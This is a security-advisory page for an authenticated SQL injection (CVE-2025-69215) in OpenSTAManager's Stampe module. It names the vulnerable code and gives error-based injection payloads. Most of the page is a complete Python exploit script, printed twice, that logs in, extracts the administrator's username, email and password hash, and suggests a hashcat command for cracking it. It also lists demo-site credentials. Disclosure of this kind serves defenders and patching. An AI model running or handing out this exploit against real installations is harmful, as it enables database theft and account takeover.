GHSA-QX9P-W3VJ-Q24Q
Vulnerability from github – Published: 2026-02-03 19:01 – Updated: 2026-02-04 19:53
VLAI?
Summary
OpenSTAManager has an SQL Injection in the Stampe Module
Details
Vulnerability Details
Location
- File:
modules/stampe/actions.php - Line: 26
- Vulnerable Code:
case 'update':
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
$dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
// ↑ Direct concatenation without prepare() sanitization
}
Root Cause
The module parameter from POST data is directly concatenated into an SQL UPDATE query without using the prepare() sanitization function. While the predefined parameter is validated with intval(), the module parameter only has an !empty() check, which does NOT prevent SQL injection.
Vulnerable Pattern:
// Line 25: intval() protects predefined, but module is not sanitized!
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
// Line 26: Direct concatenation - VULNERABLE
$dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
}
Exploitation
Vulnerable Endpoint
POST /modules/stampe/actions.php
Required Parameters
op=update
id_record=1
predefined=1 (must be non-zero after intval())
module=[INJECTION_PAYLOAD]
title=Test
filename=test.pdf
Authentication Requirement
- Requires valid authenticated session (any user with access to Stampe module)
- VERIFIED: Users with "Tecnici" group access can exploit (NOT admin-only!)
- PoC: Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico
Exploitation Type
Error-based SQL Injection using MySQL's EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions
Proof of Concept
Method 1: EXTRACTVALUE (MySQL 5.1+)
POST /modules/stampe/actions.php
Content-Type: application/x-www-form-urlencoded
op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf
Result:
Extracted Data: MySQL version 8.3.0
Method 2: GTID_SUBSET (MySQL 5.6+)
module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)
Result:
Extracted Data: Database name openstamanager
Method 3: UPDATEXML (MySQL 5.1+)
module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)
Result:
Extracted Data: Database user demo_osm@web01.osmbusiness.it
Automated Exploitation
Full Exploit Script: exploit_stampe_sqli.py
#!/usr/bin/env python3
"""
SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php
Usage:
python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico
python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local
"""
import requests
import re
import argparse
import sys
from html import unescape
from urllib.parse import urljoin
class StampeSQLiExploit:
def __init__(self, base_url, username, password, verbose=False):
self.base_url = base_url.rstrip('/')
self.username = username
self.password = password
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
})
def login(self):
"""Authenticate with username and password"""
login_url = urljoin(self.base_url, '/index.php')
if self.verbose:
print(f"[DEBUG] Attempting login to {login_url}")
print(f"[DEBUG] Username: {self.username}")
# First, get the login page to establish session
resp = self.session.get(login_url)
if self.verbose:
print(f"[DEBUG] Initial GET status: {resp.status_code}")
# Send login credentials with op=login parameter (required!)
login_data = {
'username': self.username,
'password': self.password,
'op': 'login', # Required for OpenSTAManager
}
resp = self.session.post(login_url, data=login_data, allow_redirects=True)
if self.verbose:
print(f"[DEBUG] Login POST status: {resp.status_code}")
print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}")
# Check if login was successful
if 'PHPSESSID' not in self.session.cookies:
print("[-] Login failed: No session cookie received")
return False
# Check if we're redirected to dashboard or still on login page
if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():
print("[-] Login failed: Still on login page")
if self.verbose:
print(f"[DEBUG] Current URL: {resp.url}")
return False
print(f"[+] Successfully logged in as '{self.username}'")
print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}")
return True
def inject(self, sql_query):
"""Execute SQL injection payload"""
# Use UPDATEXML instead of EXTRACTVALUE (works better on demo)
payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)"
target_url = urljoin(self.base_url, '/modules/stampe/actions.php')
if self.verbose:
print(f"[DEBUG] Target: {target_url}")
print(f"[DEBUG] Payload: {payload}")
response = self.session.post(
target_url,
data={
"op": "update",
"id_record": "1",
"predefined": "1",
"module": payload,
"title": "Test",
"filename": "test.pdf"
}
)
if self.verbose:
print(f"[DEBUG] Response status: {response.status_code}")
print(f"[DEBUG] Response length: {len(response.text)}")
# Unescape HTML entities first
response_text = unescape(response.text)
# Pattern 1: XPATH syntax error with HTML entities or quotes
# Matches: XPATH syntax error: '~data~' or '~data~'
xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE)
if xpath_match:
result = xpath_match.group(1)
if self.verbose:
print(f"[DEBUG] Extracted via XPATH pattern: {result}")
return result
# Pattern 2: Look in HTML comments (demo puts errors in comments)
# <!--...XPATH syntax error: '~data~'...-->
comment_match = re.search(r"<!--.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?.*?-->", response_text, re.DOTALL | re.IGNORECASE)
if comment_match:
result = comment_match.group(1)
if self.verbose:
print(f"[DEBUG] Extracted from HTML comment: {result}")
return result
# Pattern 3: <code> tags
codes = re.findall(r'<code>(.*?)</code>', response_text, re.DOTALL)
for code in codes:
clean = code.strip()
if 'XPATH syntax error' in clean or 'SQLSTATE' in clean:
match = re.search(r"~([^~]+)~", clean)
if match:
result = match.group(1)
if self.verbose:
print(f"[DEBUG] Extracted from <code>: {result}")
return result
# Pattern 4: PDOException error format (as shown in user's example)
# PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~'
pdo_match = re.search(r"PDOException:.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE | re.DOTALL)
if pdo_match:
result = pdo_match.group(1)
if self.verbose:
print(f"[DEBUG] Extracted from PDOException: {result}")
return result
# Pattern 5: Generic ~...~ markers (last resort)
markers = re.findall(r'~([^~]{1,100})~', response_text)
if markers:
if self.verbose:
print(f"[DEBUG] Found generic markers: {markers}")
# Filter out HTML/CSS junk
for marker in markers:
if marker and len(marker) > 2:
# Skip common HTML patterns
if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '<', '>']):
if self.verbose:
print(f"[DEBUG] Using marker: {marker}")
return marker
if self.verbose:
print("[DEBUG] No data extracted from response")
# Save response for debugging
with open('/tmp/stampe_response_debug.html', 'w') as f:
f.write(response.text)
print("[DEBUG] Response saved to /tmp/stampe_response_debug.html")
return None
def dump_info(self):
"""Dump database information"""
queries = [
("Database Version", "VERSION()"),
("Database Name", "DATABASE()"),
("Current User", "USER()"),
("Admin Username", "SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1"),
("Admin Email", "SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1"),
("Admin Password Hash (1-30)", "SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"),
("Admin Password Hash (31-60)", "SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"),
("Total Users", "SELECT COUNT(*) FROM zz_users"),
("First Table", "SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1"),
]
print("="*70)
print(" EXPLOITING SQL INJECTION - DATA EXTRACTION")
print("="*70)
print()
results = {}
for desc, query in queries:
print(f"[*] Extracting: {desc}")
print(f" Query: {query}")
result = self.inject(query)
if result:
print(f" ✓ Result: {result}")
results[desc] = result
else:
print(f" ✗ Failed to extract")
print()
return results
def main():
parser = argparse.ArgumentParser(
description='OpenSTAManager Stampe Module SQL Injection Exploit',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
# Exploit demo.osmbusiness.it with tecnico user
python3 %(prog)s -u tecnico -p tecnicotecnico
# Exploit demo with admin credentials
python3 %(prog)s -u admin -p admin123
# Exploit custom installation with verbose output
python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v
'''
)
parser.add_argument('-u', '--username', required=True,
help='Username for authentication')
parser.add_argument('-p', '--password', required=True,
help='Password for authentication')
parser.add_argument('--url', default='https://demo.osmbusiness.it',
help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)')
parser.add_argument('-v', '--verbose', action='store_true',
help='Enable verbose output for debugging')
args = parser.parse_args()
print("╔" + "="*68 + "╗")
print("║ SQL Injection Exploit - OpenSTAManager Stampe Module ║")
print("║ CVE-PENDING | Authenticated Error-Based SQLi ║")
print("╚" + "="*68 + "╝")
print()
print(f"[*] Target: {args.url}")
print(f"[*] Username: {args.username}")
print()
exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)
# Login first
if not exploit.login():
print("\n[-] Authentication failed. Cannot proceed with exploitation.")
print("[!] Please check:")
print(" 1. Are the credentials correct?")
print(" 2. Is the target URL accessible?")
print(" 3. Is the user account active?")
sys.exit(1)
print()
# Extract data
results = exploit.dump_info()
# Summary
print("="*70)
print(" EXTRACTION SUMMARY")
print("="*70)
print()
if results:
for key, value in results.items():
print(f" {key:.<40} {value}")
# If we got admin password hash, combine it
if "Admin Password Hash (1-30)" in results and "Admin Password Hash (31-60)" in results:
full_hash = results["Admin Password Hash (1-30)"] + results["Admin Password Hash (31-60)"]
print()
print(" " + "="*66)
print(f" Full Admin Password Hash: {full_hash}")
print(" " + "="*66)
print()
print(" [!] Crack with hashcat:")
print(f" hashcat -m 3200 '{full_hash}' wordlist.txt")
else:
print(" ✗ No data extracted")
if not args.verbose:
print("\n [!] Try running with -v flag for debugging information")
if __name__ == "__main__":
main()
Attribution
Reported by Łukasz Rybak
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "devcode-it/openstamanager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.9.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69215"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T19:01:46Z",
"nvd_published_at": "2026-02-04T18:16:07Z",
"severity": "HIGH"
},
"details": "## Vulnerability Details\n\n### Location\n- **File:** `modules/stampe/actions.php`\n- **Line:** 26\n- **Vulnerable Code:**\n```php\ncase \u0027update\u0027:\n if (!empty(intval(post(\u0027predefined\u0027))) \u0026\u0026 !empty(post(\u0027module\u0027))) {\n $dbo-\u003equery(\u0027UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = \u0027.post(\u0027module\u0027));\n // \u2191 Direct concatenation without prepare() sanitization\n }\n```\n\n### Root Cause\n\nThe `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection.\n\n**Vulnerable Pattern:**\n```php\n// Line 25: intval() protects predefined, but module is not sanitized!\nif (!empty(intval(post(\u0027predefined\u0027))) \u0026\u0026 !empty(post(\u0027module\u0027))) {\n // Line 26: Direct concatenation - VULNERABLE\n $dbo-\u003equery(\u0027UPDATE ... WHERE `id_module` = \u0027.post(\u0027module\u0027));\n}\n```\n\n## Exploitation\n### Vulnerable Endpoint\n```\nPOST /modules/stampe/actions.php\n```\n\n### Required Parameters\n```\nop=update\nid_record=1\npredefined=1 (must be non-zero after intval())\nmodule=[INJECTION_PAYLOAD]\ntitle=Test\nfilename=test.pdf\n```\n\n### Authentication Requirement\n- Requires valid authenticated session (any user with access to Stampe module)\n- **VERIFIED:** Users with \"Tecnici\" group access can exploit (NOT admin-only!)\n- **PoC:** Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico\n\n### Exploitation Type\n**Error-based SQL Injection** using MySQL\u0027s EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions\n\n### Proof of Concept\n\n#### Method 1: EXTRACTVALUE (MySQL 5.1+)\n```python\nPOST /modules/stampe/actions.php\nContent-Type: application/x-www-form-urlencoded\n\nop=update\u0026id_record=1\u0026predefined=1\u0026module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))\u0026title=Test\u0026filename=test.pdf\n```\n\n**Result:**\n\n\u003cimg width=\"2208\" height=\"912\" alt=\"image\" src=\"https://github.com/user-attachments/assets/710595e8-5cfb-4392-87a5-0b567487af34\" /\u003e\n\n**Extracted Data:** MySQL version `8.3.0`\n\n---\n\n#### Method 2: GTID_SUBSET (MySQL 5.6+)\n```python\nmodule=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)\n```\n\n**Result:**\n\n\u003cimg width=\"2025\" height=\"903\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb2b4210-5301-4b3c-81b0-495eaec27af8\" /\u003e\n\n\n**Extracted Data:** Database name `openstamanager`\n\n---\n\n#### Method 3: UPDATEXML (MySQL 5.1+)\n```python\nmodule=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)\n```\n\n**Result:**\n\n\u003cimg width=\"2027\" height=\"897\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a364951d-566b-4c86-9467-35352bd22c43\" /\u003e\n\n**Extracted Data:** Database user `demo_osm@web01.osmbusiness.it`\n\n---\n\n### Automated Exploitation\n\n**Full Exploit Script:** `exploit_stampe_sqli.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nSQL Injection Exploit - OpenSTAManager modules/stampe/actions.php\n\nUsage:\n python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico\n python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local\n\"\"\"\n\nimport requests\nimport re\nimport argparse\nimport sys\nfrom html import unescape\nfrom urllib.parse import urljoin\n\nclass StampeSQLiExploit:\n def __init__(self, base_url, username, password, verbose=False):\n self.base_url = base_url.rstrip(\u0027/\u0027)\n self.username = username\n self.password = password\n self.verbose = verbose\n self.session = requests.Session()\n self.session.headers.update({\n \u0027User-Agent\u0027: \u0027Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\u0027\n })\n\n def login(self):\n \"\"\"Authenticate with username and password\"\"\"\n login_url = urljoin(self.base_url, \u0027/index.php\u0027)\n\n if self.verbose:\n print(f\"[DEBUG] Attempting login to {login_url}\")\n print(f\"[DEBUG] Username: {self.username}\")\n\n # First, get the login page to establish session\n resp = self.session.get(login_url)\n if self.verbose:\n print(f\"[DEBUG] Initial GET status: {resp.status_code}\")\n\n # Send login credentials with op=login parameter (required!)\n login_data = {\n \u0027username\u0027: self.username,\n \u0027password\u0027: self.password,\n \u0027op\u0027: \u0027login\u0027, # Required for OpenSTAManager\n }\n\n resp = self.session.post(login_url, data=login_data, allow_redirects=True)\n\n if self.verbose:\n print(f\"[DEBUG] Login POST status: {resp.status_code}\")\n print(f\"[DEBUG] Cookies: {self.session.cookies.get_dict()}\")\n\n # Check if login was successful\n if \u0027PHPSESSID\u0027 not in self.session.cookies:\n print(\"[-] Login failed: No session cookie received\")\n return False\n\n # Check if we\u0027re redirected to dashboard or still on login page\n if \u0027username\u0027 in resp.text.lower() and \u0027password\u0027 in resp.text.lower() and \u0027login\u0027 in resp.url.lower():\n print(\"[-] Login failed: Still on login page\")\n if self.verbose:\n print(f\"[DEBUG] Current URL: {resp.url}\")\n return False\n\n print(f\"[+] Successfully logged in as \u0027{self.username}\u0027\")\n print(f\"[+] Session: {self.session.cookies.get(\u0027PHPSESSID\u0027)}\")\n return True\n\n def inject(self, sql_query):\n \"\"\"Execute SQL injection payload\"\"\"\n # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)\n payload = f\"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)\"\n\n target_url = urljoin(self.base_url, \u0027/modules/stampe/actions.php\u0027)\n\n if self.verbose:\n print(f\"[DEBUG] Target: {target_url}\")\n print(f\"[DEBUG] Payload: {payload}\")\n\n response = self.session.post(\n target_url,\n data={\n \"op\": \"update\",\n \"id_record\": \"1\",\n \"predefined\": \"1\",\n \"module\": payload,\n \"title\": \"Test\",\n \"filename\": \"test.pdf\"\n }\n )\n\n if self.verbose:\n print(f\"[DEBUG] Response status: {response.status_code}\")\n print(f\"[DEBUG] Response length: {len(response.text)}\")\n\n # Unescape HTML entities first\n response_text = unescape(response.text)\n\n # Pattern 1: XPATH syntax error with HTML entities or quotes\n # Matches: XPATH syntax error: \u0027~data~\u0027 or \u0026#039;~data~\u0026#039;\n xpath_match = re.search(r\"XPATH syntax error:\\s*[\u0027\\\"]?~([^~]+)~[\u0027\\\"]?\", response_text, re.IGNORECASE)\n if xpath_match:\n result = xpath_match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted via XPATH pattern: {result}\")\n return result\n\n # Pattern 2: Look in HTML comments (demo puts errors in comments)\n # \u003c!--...XPATH syntax error: \u0027~data~\u0027...--\u003e\n comment_match = re.search(r\"\u003c!--.*?XPATH syntax error:\\s*[\u0027\\\"]?~([^~]+)~[\u0027\\\"]?.*?--\u003e\", response_text, re.DOTALL | re.IGNORECASE)\n if comment_match:\n result = comment_match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted from HTML comment: {result}\")\n return result\n\n # Pattern 3: \u003ccode\u003e tags\n codes = re.findall(r\u0027\u003ccode\u003e(.*?)\u003c/code\u003e\u0027, response_text, re.DOTALL)\n for code in codes:\n clean = code.strip()\n if \u0027XPATH syntax error\u0027 in clean or \u0027SQLSTATE\u0027 in clean:\n match = re.search(r\"~([^~]+)~\", clean)\n if match:\n result = match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted from \u003ccode\u003e: {result}\")\n return result\n\n # Pattern 4: PDOException error format (as shown in user\u0027s example)\n # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: \u0027~data~\u0027\n pdo_match = re.search(r\"PDOException:.*?XPATH syntax error:\\s*[\u0027\\\"]?~([^~]+)~[\u0027\\\"]?\", response_text, re.IGNORECASE | re.DOTALL)\n if pdo_match:\n result = pdo_match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted from PDOException: {result}\")\n return result\n\n # Pattern 5: Generic ~...~ markers (last resort)\n markers = re.findall(r\u0027~([^~]{1,100})~\u0027, response_text)\n if markers:\n if self.verbose:\n print(f\"[DEBUG] Found generic markers: {markers}\")\n # Filter out HTML/CSS junk\n for marker in markers:\n if marker and len(marker) \u003e 2:\n # Skip common HTML patterns\n if not any(x in marker.lower() for x in [\u0027button\u0027, \u0027icon\u0027, \u0027fa-\u0027, \u0027class\u0027, \u0027div\u0027, \u0027span\u0027, \u0027\u003c\u0027, \u0027\u003e\u0027]):\n if self.verbose:\n print(f\"[DEBUG] Using marker: {marker}\")\n return marker\n\n if self.verbose:\n print(\"[DEBUG] No data extracted from response\")\n # Save response for debugging\n with open(\u0027/tmp/stampe_response_debug.html\u0027, \u0027w\u0027) as f:\n f.write(response.text)\n print(\"[DEBUG] Response saved to /tmp/stampe_response_debug.html\")\n\n return None\n\n def dump_info(self):\n \"\"\"Dump database information\"\"\"\n queries = [\n (\"Database Version\", \"VERSION()\"),\n (\"Database Name\", \"DATABASE()\"),\n (\"Current User\", \"USER()\"),\n (\"Admin Username\", \"SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Admin Email\", \"SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Admin Password Hash (1-30)\", \"SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Admin Password Hash (31-60)\", \"SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Total Users\", \"SELECT COUNT(*) FROM zz_users\"),\n (\"First Table\", \"SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1\"),\n ]\n\n print(\"=\"*70)\n print(\" EXPLOITING SQL INJECTION - DATA EXTRACTION\")\n print(\"=\"*70)\n print()\n\n results = {}\n for desc, query in queries:\n print(f\"[*] Extracting: {desc}\")\n print(f\" Query: {query}\")\n result = self.inject(query)\n if result:\n print(f\" \u2713 Result: {result}\")\n results[desc] = result\n else:\n print(f\" \u2717 Failed to extract\")\n print()\n\n return results\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\u0027OpenSTAManager Stampe Module SQL Injection Exploit\u0027,\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog=\u0027\u0027\u0027\nExamples:\n # Exploit demo.osmbusiness.it with tecnico user\n python3 %(prog)s -u tecnico -p tecnicotecnico\n\n # Exploit demo with admin credentials\n python3 %(prog)s -u admin -p admin123\n\n # Exploit custom installation with verbose output\n python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v\n \u0027\u0027\u0027\n )\n\n parser.add_argument(\u0027-u\u0027, \u0027--username\u0027, required=True,\n help=\u0027Username for authentication\u0027)\n parser.add_argument(\u0027-p\u0027, \u0027--password\u0027, required=True,\n help=\u0027Password for authentication\u0027)\n parser.add_argument(\u0027--url\u0027, default=\u0027https://demo.osmbusiness.it\u0027,\n help=\u0027Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)\u0027)\n parser.add_argument(\u0027-v\u0027, \u0027--verbose\u0027, action=\u0027store_true\u0027,\n help=\u0027Enable verbose output for debugging\u0027)\n\n args = parser.parse_args()\n\n print(\"\u2554\" + \"=\"*68 + \"\u2557\")\n print(\"\u2551 SQL Injection Exploit - OpenSTAManager Stampe Module \u2551\")\n print(\"\u2551 CVE-PENDING | Authenticated Error-Based SQLi \u2551\")\n print(\"\u255a\" + \"=\"*68 + \"\u255d\")\n print()\n print(f\"[*] Target: {args.url}\")\n print(f\"[*] Username: {args.username}\")\n print()\n\n exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)\n\n # Login first\n if not exploit.login():\n print(\"\\n[-] Authentication failed. Cannot proceed with exploitation.\")\n print(\"[!] Please check:\")\n print(\" 1. Are the credentials correct?\")\n print(\" 2. Is the target URL accessible?\")\n print(\" 3. Is the user account active?\")\n sys.exit(1)\n\n print()\n\n # Extract data\n results = exploit.dump_info()\n\n # Summary\n print(\"=\"*70)\n print(\" EXTRACTION SUMMARY\")\n print(\"=\"*70)\n print()\n\n if results:\n for key, value in results.items():\n print(f\" {key:.\u003c40} {value}\")\n\n # If we got admin password hash, combine it\n if \"Admin Password Hash (1-30)\" in results and \"Admin Password Hash (31-60)\" in results:\n full_hash = results[\"Admin Password Hash (1-30)\"] + results[\"Admin Password Hash (31-60)\"]\n print()\n print(\" \" + \"=\"*66)\n print(f\" Full Admin Password Hash: {full_hash}\")\n print(\" \" + \"=\"*66)\n print()\n print(\" [!] Crack with hashcat:\")\n print(f\" hashcat -m 3200 \u0027{full_hash}\u0027 wordlist.txt\")\n else:\n print(\" \u2717 No data extracted\")\n if not args.verbose:\n print(\"\\n [!] Try running with -v flag for debugging information\")\n\nif __name__ == \"__main__\":\n main()\n\n```\n\n### Attribution\nReported by \u0141ukasz Rybak",
"id": "GHSA-qx9p-w3vj-q24q",
"modified": "2026-02-04T19:53:08Z",
"published": "2026-02-03T19:01:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69215"
},
{
"type": "PACKAGE",
"url": "https://github.com/devcode-it/openstamanager"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenSTAManager has an SQL Injection in the Stampe Module"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…